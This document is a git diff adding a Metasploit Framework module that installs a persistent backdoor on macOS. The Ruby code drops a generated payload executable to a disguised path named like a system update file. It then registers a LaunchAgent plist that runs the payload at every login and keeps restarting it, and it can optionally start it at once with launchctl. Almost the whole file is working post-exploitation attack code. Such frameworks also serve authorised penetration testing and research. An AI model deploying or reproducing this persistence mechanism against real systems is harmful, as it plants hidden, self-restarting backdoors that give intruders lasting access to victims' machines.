diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb new file mode 100644 index 0000000000..ae89d870d2 --- /dev/null +++ b/modules/exploits/osx/local/persistence.rb @@ -0,0 +1,157 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' +require 'shellwords' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Mac OS X Persistent Payload Installer', + 'Description' => %q{ + This module provides a persistence boot payload by creating a plist entry + in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, + the LaunchAgent will be invoked and our dropped payload will run. + }, + 'License' => MSF_LICENSE, + 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], + 'Platform' => [ 'osx' ], + 'Targets' => [ [ 'Mac OS X', {} ] ], + 'DefaultTarget' => 0, + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + + register_options([ + OptString.new('BACKDOOR_PATH', + [true, 'Path to hide the backdoor on the target.', + '~/Library/./com.system.update'] + ), + OptBool.new('KEEPALIVE', + [true, 'Continually restart the payload exe if it crashes/exits.', true] + ), + OptBool.new('RUN_NOW', + [false, 'Run the installed payload immediately.', false] + ) + ], self.class) + end + + def exploit + check_for_duplicate_entry + # Store backdoor on target machine + write_backdoor(generate_payload_exe) + # Add plist file to LaunchAgents dir + add_launchctl_item + # tell the user how to remove the persistence if necessary + list_removal_paths + end + + private + + # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path + def add_launchctl_item + label = File.basename(backdoor_path) + cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") + # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive + item = <<-EOI + + + + + Label + #{label} + Program + #{backdoor_path} + ProgramArguments + + #{backdoor_path} + + RunAtLoad + + OnDemand + <#{keepalive?}/> + KeepAlive + <#{keepalive?}/> + + + EOI + + if write_file(plist_path, item) + print_good("LaunchAgent added: #{plist_path}") + else + fail_with("Error writing LaunchAgent item to #{plist_path}") + end + + if run_now? + cmd_exec("launchctl load -w #{plist_path.shellescape}") + end + + print_good("LaunchAgent installed successfully.") + end + + # path to upload the backdoor. any or substrings will be replaced. + # @return [String] path to drop the backdoor payload. + def backdoor_path + @backdoor_path ||= (datastore['BACKDOOR_PATH'] + .gsub(''){ Rex::Text.rand_text_alpha(8) } + .gsub(/^~\//, "/Users/#{user}/")) + end + + # raises an error if a Launch Agent already exists at desired same plist_path + def check_for_duplicate_entry + if file?(plist_path) + fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}" + end + end + + # @return [Boolean] user wants the persistence to be restarted constantly if it exits + def keepalive?; datastore['KEEPALIVE']; end + + # useful if you want to remove the persistence. + # prints out a list of paths to remove and commands to run. + def list_removal_paths + files = [backdoor_path, plist_path] + print_status("To remove the persistence, run:\n"+ + "$ launchctl unload -w #{plist_path.shellescape}\n"+ + files.map{|f| "$ rm #{f}"}.join("\n")) + end + + # path to the LaunchAgent service configuration plist + # @return [String] path to the LaunchAgent service + def plist_path + @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" + end + + # @return [Boolean] user wants to launch the LaunchAgent immediately + def run_now?; datastore['RUN_NOW']; end + + # @return [String] username of the session + def user; @user ||= cmd_exec('whoami').strip; end + + # drops the file to disk, then makes it executable + # @param [String] exe the executable to drop + def write_backdoor(exe) + print_status("Dropping backdoor executable...") + cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}") + + if write_file(backdoor_path, exe) + print_good("Backdoor stored to #{backdoor_path}") + cmd_exec("chmod +x #{backdoor_path.shellescape}") + else + fail_with("Error dropping backdoor to #{backdoor_path}") + end + end +end